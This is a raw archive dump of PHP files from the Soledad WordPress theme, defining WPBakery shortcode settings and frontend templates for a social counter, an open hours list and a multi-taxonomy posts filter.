					'heading'    => esc_html__( 'Shape', 'soledad' ),
					'param_name' => 'shape',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Rectangle', 'soledad' ) => 'rectangle',
						esc_html__( 'Round', 'soledad' )  => 'round',
						esc_html__( 'Circle', 'soledad' ) => 'circle',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Select Columns', 'soledad' ),
					'param_name' => 'column',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default', 'soledad' ) => '',
						esc_html__( '1 Column', 'soledad' ) => '1',
						esc_html__( '2 Columns', 'soledad' ) => '2',
						esc_html__( '3 Columns', 'soledad' ) => '3',
						esc_html__( '4 Columns', 'soledad' ) => '4',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Select Columns for Tablet', 'soledad' ),
					'param_name' => 'tab_column',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default', 'soledad' ) => '',
						esc_html__( '1 Column', 'soledad' ) => '1',
						esc_html__( '2 Columns', 'soledad' ) => '2',
						esc_html__( '3 Columns', 'soledad' ) => '3',
						esc_html__( '4 Columns', 'soledad' ) => '4',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Select Columns for Mobile', 'soledad' ),
					'param_name' => 'mobile_column',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Default', 'soledad' ) => '',
						esc_html__( '1 Column', 'soledad' ) => '1',
						esc_html__( '2 Columns', 'soledad' ) => '2',
						esc_html__( '3 Columns', 'soledad' ) => '3',
						esc_html__( '4 Columns', 'soledad' ) => '4',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Colors Style', 'soledad' ),
					'param_name' => 'color_style',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Custom Color', 'soledad' ) => 'custom',
						esc_html__( 'Brands Background Color', 'soledad' ) => 'brandbg',
						esc_html__( 'Brands Icons Color', 'soledad' ) => 'brandtext',
					),
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'heading'    => esc_html__( 'Horizontal Spacing Between Social Icons', 'soledad' ),
					'param_name' => 'hospace',
					'std'        => '',
					'value'      => '',
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'heading'    => esc_html__( 'Vertical Spacing Between Social Icons', 'soledad' ),
					'param_name' => 'verspace',
					'std'        => '',
					'value'      => '',
				),
			),
			$meta_params,
			$profile_meta_params,
			array(
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'social_name_size',
					'heading'    => __( 'Icon Size', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'countersize',
					'heading'    => __( 'Font Size for Counter Number', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
				),
				array(
					'type'       => 'penci_responsive_sizes',
					'param_name' => 'fansize',
					'heading'    => __( 'Font Size for Fans/Like text', 'soledad' ),
					'value'      => '',
					'std'        => '',
					'suffix'     => 'px',
					'min'        => 1,
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'bgcl',
					'heading'    => __( 'Background Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'hbgcl',
					'heading'    => __( 'Background Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'bordercl',
					'heading'    => __( 'Border Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'borderhcl',
					'heading'    => __( 'Border Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'textcl',
					'heading'    => __( 'Icon Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'texthcl',
					'heading'    => __( 'Icon Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'countcl',
					'heading'    => __( 'Counter Text Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'counthcl',
					'heading'    => __( 'Counter Text Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'fanscl',
					'heading'    => __( '"Fans" Text Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'fanshcl',
					'heading'    => __( '"Fans" Text Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'followcl',
					'heading'    => __( '"Follow" Text Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'colorpicker',
					'param_name' => 'followhcl',
					'heading'    => __( '"Follow" Text Hover Color', 'soledad' ),
					'value'      => '',
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Use Shadow?', 'soledad' ),
					'param_name' => 'use_shadow',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Yes', 'soledad' ) => 'yes',
						esc_html__( 'No', 'soledad' )  => 'no',
					),
				),
			),
			Penci_Vc_Params_Helper::heading_block_params(),
			Penci_Vc_Params_Helper::params_heading_typo_color(),
			Penci_Vc_Params_Helper::extra_params()
		),
	)
);
PK     N\C%  %  6  inc/js_composer/shortcodes/social_counter/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $source = '';

$title_page          = $page_url = $page_height = $hide_faces = $hide_stream = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = $hide_count = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class  = 'penci-block-vc penci-social-counter';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'social_counter' );
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
		<div class="penci-block_content">
			<?php
			$css_class     = 'penci-block-vc penci-social-counter';
			$wrapper_class = 'pcsoc-wrapper';
			$social_style  = isset( $social_style ) && $social_style && in_array(
				$social_style,
				array(
					's1',
					's2',
					's3',
					's4',
				)
			) ? $social_style : 's1';
			$fill          = $fill ? $fill : 'border';
			$shape         = $shape ? $shape : 'rectangle';
			$color_style   = $color_style ? $color_style : 'custom';
			$brand_class   = $brand_class_icon = '';
			if ( in_array( $social_style, array( 's2', 's4' ) ) ) {
				$brand_class_icon = ' pcsc-brandflag';
			} elseif ( in_array( $social_style, array( 's1', 's3' ) ) ) {
				$brand_class = ' pcsc-brandflag';
			}

			$wrapper_class .= ' pcsocs-' . $social_style;
			$wrapper_class .= ' pcsocf-' . $fill;
			$wrapper_class .= ' pcsocs-' . $shape;
			$wrapper_class .= ' pcsoccl-' . $color_style;

			if ( 's4' != $social_style ) {
				$column_default        = in_array( $social_style, array( 's3' ) ) ? '3' : '1';
				$column                = $column ? $column : $column_default;
				$tab_column_default    = in_array( $social_style, array( 's3' ) ) ? 'default' : '1';
				$mobile_column_default = in_array( $social_style, array( 's3' ) ) ? '2' : '1';
				$tab_column            = $tab_column ? $tab_column : $tab_column_default;
				$mobile_column         = $mobile_column ? $mobile_column : $mobile_column_default;
				$wrapper_class        .= ' pcsocc-' . $column;
				$wrapper_class        .= ' pcsocc-tabcol-' . $tab_column;
				$wrapper_class        .= ' pcsocc-mocol-' . $mobile_column;
			}

			if ( 'yes' == $use_shadow ) {
				$wrapper_class .= ' pcsocshadow';
			}
			?>
			<div class="pcsoc-wrapper-outside source-<?php echo esc_attr( $source ); ?>">
				<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
				<div class="<?php echo $wrapper_class; ?>">
					<?php
					if ( 'counter' == $source ) {
						$socials = array(
							'facebook',
							'twitter',
							'youtube',
							'instagram',
							'pinterest',
							'flickr',
							'vimeo',
							'soundcloud',
							'behance ',
							'vk',
							'tiktok',
							'twitch',
							'rss',
						);

						$error = array();

						$has_data = false;

						foreach ( $socials as $social ) {


							if ( empty( $atts[ 'social_' . $social ] ) && 'yes' == $atts[ 'social_' . $social ] ) {
								continue;
							}

							$social_info = \PENCI_FW_Social_Counter::get_social_counter( $social );

							$social_info_name = $social_info['name'] ?? '';

							if ( ! $social_info || ! $social_info_name ) {
								continue;
							}

							$has_data = true;
							if ( 'tiktok' === $social ) {
								$count = $social_info['count'];
							} else {
								$count = \PENCI_FW_Social_Counter::format_followers( $social_info['count'] );
							}

							$count = $count ? $count : '';

							$social_icon     = $social_info['icon'];
							$social_follower = isset( $social_info['text_below'] ) && $social_info['text_below'] ? $social_info['text_below'] : '';
							$social_follow   = isset( $social_info['text_btn'] ) && $social_info['text_btn'] ? $social_info['text_btn'] : '';
							$social_url      = isset( $social_info['url'] ) && $social_info['url'] ? $social_info['url'] : '';
							// $count = '10000';
							// $social_follower = 'Fans';
							// $social_icon = '<i class="penci-faicon fa fa-facebook"></i>';
							// $social_url = '#';
							// $social_follow = 'Like';
							?>
							<div class="pcsoc-item-wrap">
								<a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?>
																		<?php
																		if ( ! $count ) {
																			echo ' empty-count';
																		}
																		?>
								" href="<?php echo esc_url( $social_url ); ?>"
									target="_blank" <?php echo penci_reltag_social_icons(); ?>>
									<span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
									<?php if ( $count && 'yes' != $hide_count ) { ?>
										<span class="pcsoc-counter"><?php echo $count; ?></span>
										<span class="pcsoc-fan"><?php echo $social_follower; ?></span>
									<?php } else { ?>
										<span class="pcsoc-counter pcsoc-socname"><?php echo $social; ?></span>
									<?php } ?>
									<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
										<span class="pcsoc-like"><?php echo $social_follow; ?></span>
									<?php } ?>
								</a>
							</div>
							<?php
						}
					} else {
						$custom_social_icons = get_option( 'penci_custom_socials', array() );
						$socials             = penci_social_media_array();
						foreach ( $socials as $social => $sdata ) {

							if ( empty( $atts[ 'social_profile_' . $social ] ) ) {
								continue;
							}

							$social_icon   = penci_icon_by_ver( $sdata[1] );
							$social_follow = penci_get_setting( 'penci_trans_follow' );
							$social_url    = esc_url( do_shortcode( $sdata[0] ) );
							$name          = isset( $custom_social_icons[ $social ]['name'] ) ? $custom_social_icons[ $social ]['name'] : $social;
							?>
							<div class="pcsoc-item-wrap">
								<a class="pcsoc-item pcsoci-<?php echo $social . $brand_class; ?> empty-count"
									href="<?php echo esc_url( $social_url ); ?>"
									target="_blank" <?php echo penci_reltag_social_icons(); ?>>
									<span class="pcsoc-icon pcsoci-<?php echo $social . $brand_class_icon; ?>"><?php echo $social_icon; ?></span>
									<span class="pcsoc-counter pcsoc-socname"><?php echo $name; ?></span>
									<?php if ( in_array( $social_style, array( 's1', 's2' ) ) ) { ?>
										<span class="pcsoc-like"><?php echo $social_follow; ?></span>
									<?php } ?>
								</a>
							</div>
							<?php
						}
					}
					?>
				</div>
			</div>
		</div>
	</div>
<?php

$id_social_counter  = '#' . $block_id;
$id_social_counter2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom         = Penci_Vc_Helper::get_heading_block_css( $id_social_counter, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	if ( $counter_item_icon_size ) {
		echo penci_extract_md_responsive_fsize( $id_social_counter . ' .pcsoc-icon i{font-size:{{VALUE}}px}', $counter_item_icon_size );
		echo penci_extract_md_responsive_fsize( $id_social_counter . ' .pcsoc-icon pcsocs-s3 i{line-height:{{VALUE}}px}', $counter_item_icon_size );
	}
	if ( $bgcl ) {
		echo $id_social_counter2 . ' .pcsocs-s1 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-icon,.pcsocs-s3 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-icon{background-color:' . $bgcl . '}';
	}
	if ( $hbgcl ) {
		echo $id_social_counter2 . ' .pcsocs-s1 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon{background-color:' . $hbgcl . '}';
	}
	if ( $bordercl ) {
		echo $id_social_counter2 . ' .pcsocs-s1 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-icon{border-color:' . $bordercl . '}';
	}
	if ( $borderhcl ) {
		echo $id_social_counter2 . ' .pcsocs-s1 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,' . $id_social_counter . ' .pcsocs-s3 .pcsoc-item:hover,' . $id_social_counter . ' .pcsocs-s4 .pcsoc-item:hover .pcsoc-icon{border-color:' . $borderhcl . '}';
	}
	if ( $textcl ) {
		echo $id_social_counter2 . ' .pcsoc-item i{color:' . $textcl . '}';
	}
	if ( $texthcl ) {
		echo $id_social_counter2 . ' .pcsoc-item:hover i{color:' . $texthcl . '}';
	}
	if ( $countcl ) {
		echo $id_social_counter2 . ' .pcsoc-counter{color:' . $countcl . '}';
	}
	if ( $counthcl ) {
		echo $id_social_counter2 . ' .pcsoc-item:hover .pcsoc-counter{color:' . $counthcl . '}';
	}
	if ( $fanscl ) {
		echo $id_social_counter2 . ' .pcsoc-item .pcsoc-fan{color:' . $fanscl . '}';
	}
	if ( $fanshcl ) {
		echo $id_social_counter2 . ' .pcsoc-item:hover .pcsoc-fan{color:' . $fanshcl . '}';
	}
	if ( $followcl ) {
		echo $id_social_counter2 . ' .pcsoc-item .pcsoc-like{color:' . $followcl . '}';
	}
	if ( $followhcl ) {
		echo $id_social_counter2 . ' .pcsoc-item:hover .pcsoc-like{color:' . $followhcl . '}';
	}
	if ( $hospace ) {
		echo $id_social_counter . ' .pcsoc-wrapper{--pcsoc-space:' . $hospace . 'px}';
	}
	if ( $verspace ) {
		echo $id_social_counter . ' .pcsoc-wrapper{--pcsoc-bspace:' . $verspace . 'px}';
	}
	if ( $countersize ) {
		echo $id_social_counter . ' .pcsoc-counter{font-size:' . $countersize . 'px}';
	}
	if ( $fansize ) {
		echo $id_social_counter . ' .pcsoc-item .pcsoc-fan{font-size:' . $fansize . 'px}';
	}
	echo '</style>';
}
PK     N\'E{  {  2  inc/js_composer/shortcodes/open_hours/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_open_hours",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/open_hours/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Open Hours', 'soledad' ),
	'description'   => 'Open Hours Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'       => 'param_group',
				'heading'    => 'Content',
				'param_name' => 'working_hours',
				'value'      => urlencode( json_encode( array(
					array(
						'icon'  => 'far fa-clock',
						'title' => 'Monday',
						'hours' => '8:00 AM - 9:00 PM'
					),
					array(
						'icon'  => 'far fa-clock',
						'title' => 'Tuesday',
						'hours' => '8:00 AM - 9:00 PM'
					),
					array(
						'icon'  => 'far fa-clock',
						'title' => 'Wednessday',
						'hours' => '8:00 AM - 9:00 PM'
					)
				) ) ),
				'params'     => array(
					array(
						'type'       => 'iconpicker',
						'heading'    => __( 'Icon', 'soledad' ),
						'param_name' => 'icon',
						'value'      => '',
						'settings'   => array(
							'emptyIcon'    => true,
							'iconsPerPage' => 4000,
						)
					),
					array(
						'type'        => 'textfield',
						'heading'     => __( 'Title', 'soledad' ),
						'param_name'  => 'title',
						'admin_label' => true
					),
					array(
						'type'       => 'textfield',
						'heading'    => __( 'Subtitle', 'soledad' ),
						'param_name' => 'subtitle'
					),
					array(
						'type'        => 'textfield',
						'heading'     => __( 'Hours or Price', 'soledad' ),
						'param_name'  => 'hours',
						'admin_label' => true
					)
				)
			),
			array(
				'type'       => 'penci_only_number',
				'heading'    => esc_html__( 'Space Item', 'soledad' ),
				'param_name' => 'row_gap',
				'value'      => 0,
				'min'        => 0,
				'max'        => 200,
				'suffix'     => 'px',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'subtitle_martop',
				'heading'    => __( 'Subtitle margin top', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
			)
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_icon_settings',
				'heading'          => esc_html__( 'Icon of Open Hour', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icon color', 'soledad' ),
				'param_name'       => 'ophour_icon_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'ophour_icon_size',
				'heading'          => __( 'Font size for Icon', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_title_settings',
				'heading'          => esc_html__( 'Title of Open Hour', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Title color', 'soledad' ),
				'param_name'       => 'ophour_title_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'ophour_title_typo',
				'value'      => '',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'ophour_title_size',
				'heading'    => __( 'Font Size for Title', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,

				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_subtitle_settings',
				'heading'          => esc_html__( 'Subtitle of Open Hour', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Subtitle color', 'soledad' ),
				'param_name'       => 'ophour_subtitle_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'ophour_subtitle_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'ophour_subtitle_size',
				'heading'          => __( 'Font Size for Subtitle', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_hour_settings',
				'heading'          => esc_html__( 'Hours or Price of Open Hour', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Hours or Price Color', 'soledad' ),
				'param_name'       => 'ophour_hour_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'ophour_hour_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'ophour_hour_size',
				'heading'          => __( 'Font size for Hours or Price', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => esc_html__( 'Font Weight for Hours or Price', 'soledad' ),
				'param_name'       => 'ophour_hour_weight',
				'value'            => array(
					__( 'Default', 'soledad' ) => '',
					'Normal'                   => 'normal',
					'Bold'                     => 'bold',
					'Bolder'                   => 'bolder',
					'Lighter'                  => 'lighter',
					'100'                      => '100',
					'200'                      => '200',
					'300'                      => '300',
					'400'                      => '400',
					'500'                      => '500',
					'600'                      => '600',
					'700'                      => '700',
					'800'                      => '800',
					'900'                      => '900',
				),
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6'
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\@R  R  2  inc/js_composer/shortcodes/open_hours/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$working_hours         = $row_gap = $subtitle_martop = '';
$ophour_icon_color     = $ophour_icon_size = '';
$ophour_title_color    = $ophour_title_size = $ophour_title_typo = '';
$ophour_subtitle_color = $ophour_subtitle_size = $ophour_subtitle_typo = '';
$ophour_hour_color     = $ophour_hour_size = $ophour_hour_weight = $ophour_hour_typo = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$working_hours = (array) vc_param_group_parse_atts( $working_hours );

if ( ! $working_hours ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-working-hours';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'open_hours' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <div class="penci-workingh-lists">
                <ul>
					<?php foreach ( (array) $working_hours as $hour ):
						$icon = isset( $hour['icon'] ) ? $hour['icon'] : '';
						$title = isset( $hour['title'] ) ? $hour['title'] : '';
						$hours = isset( $hour['hours'] ) ? $hour['hours'] : '';
						$subtitle = isset( $hour['subtitle'] ) ? $hour['subtitle'] : '';

						?>
                        <li class="penci-workingh-item">
                            <div class="penci-workingh-item-inner">
                                <div class="penci-workingh-line1">
                                    <div class="penci-icontitle">
										<?php
										if ( $icon ) {
											echo '<i class="penci-listitem-icon ' . $icon . '"></i>';
										}
										if ( $title ) {
											echo '<span class="penci-listitem-title">' . $title . '</span>';
										}
										?>
                                    </div>
									<?php
									if ( $hours ) {
										echo '<span class="penci-listitem-hours">' . $hours . '</span>';
									}
									?>
                                </div>
								<?php
								if ( $subtitle ) {
									echo '<span class="penci-listitem-subtitle">' . $subtitle . '</span>';
								}
								?>
                            </div>
                        </li>
					<?php endforeach; ?>

                </ul>
            </div>
        </div>
    </div>
<?php

$id_open_hours = '#' . $block_id;
$id_open_hours2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $id_open_hours, $atts );

if ( $row_gap ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-item{ margin-bottom: {{VALUE}}px;}', $row_gap );
}
if ( $subtitle_martop ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-listitem-subtitle{ margin-top: {{VALUE}}px;}', $subtitle_martop );
}
if ( $ophour_icon_color ) {
	$css_custom .= $id_open_hours2 . ' .penci-workingh-lists .penci-listitem-icon{ color: ' . esc_attr( $ophour_icon_color ) . ';}';
}
if ( $ophour_icon_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-lists .penci-listitem-icon{ font-size: {{VALUE}}px;}', $ophour_icon_size );
}
if ( $ophour_title_color ) {
	$css_custom .= $id_open_hours2 . ' .penci-workingh-lists .penci-listitem-title{ color: ' . esc_attr( $ophour_title_color ) . ';}';
}
if ( $ophour_title_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-lists .penci-listitem-title{ font-size: {{VALUE}}px;}', $ophour_title_size );
}
if ( $ophour_subtitle_color ) {
	$css_custom .= $id_open_hours2 . ' .penci-workingh-lists .penci-listitem-subtitle{ color: ' . esc_attr( $ophour_subtitle_color ) . ';}';
}
if ( $ophour_subtitle_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-lists .penci-listitem-subtitle{ font-size: {{VALUE}}px;}', $ophour_subtitle_size );
}
if ( $ophour_hour_color ) {
	$css_custom .= $id_open_hours2 . ' .penci-workingh-lists .penci-listitem-hours{ color: ' . esc_attr( $ophour_hour_color ) . ';}';
}
if ( $ophour_hour_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_open_hours . ' .penci-workingh-lists .penci-listitem-hours{ font-size: {{VALUE}}px;}', $ophour_hour_size );
}
if ( $ophour_hour_weight ) {
	$css_custom .= $id_open_hours . ' .penci-workingh-lists .penci-listitem-hours{ font-weight: ' . esc_attr( $ophour_hour_weight ) . ';}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_open_hours, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\Ed  d  E  inc/js_composer/shortcodes/multi_taxonomies_posts_filter/settings.phpnu [        <?php
vc_map( array(
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Multi Taxonomies Posts Filter', 'soledad' ),
	'base'          => 'multi_taxonomies_posts_filter',
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/multi_taxonomies_posts_filter/frontend.php',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'weight'        => 700,
	'params'        => array_merge( array(
		// General
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_gnr_heading',
			'heading'          => esc_html__( 'General', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomy Posistion', 'soledad' ),
			'param_name'       => 'tax_position',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable Sticky', 'soledad' ),
			'param_name'       => 'tax_sticky',
			'value'            => 'yes',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomy', 'soledad' ),
			'param_name'       => 'tax',
			'value'            => penci_wpbakery_taxonomies_list_arr(),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Select the Post Taxonomies Term.', 'soledad' ),
			'param_name'       => 'taxonomies_in',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => penci_wpbakery_taxonomies_posts_arr(),
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Select the Excluded Post Taxonomies Term.', 'soledad' ),
			'param_name'       => 'taxonomies_ex',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => penci_wpbakery_taxonomies_posts_arr(),
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Limit Terms to Show', 'soledad' ),
			'param_name'       => 'number',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Posts Count', 'soledad' ),
			'param_name'       => 'count',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomy Order By', 'soledad' ),
			'param_name'       => 'orderby',
			'value'            => array_flip( array(
				'term_id' => __( 'ID', 'soledad' ),
				'name'    => __( 'Name', 'soledad' ),
				'slug'    => __( 'Slug', 'soledad' ),
				'count'   => __( 'Count', 'soledad' ),
			) ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomy Order', 'soledad' ),
			'param_name'       => 'order',
			'value'            => array_flip( array(
				'ASC'  => __( 'ASC', 'soledad' ),
				'DESC' => __( 'DESC', 'soledad' ),
			) ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
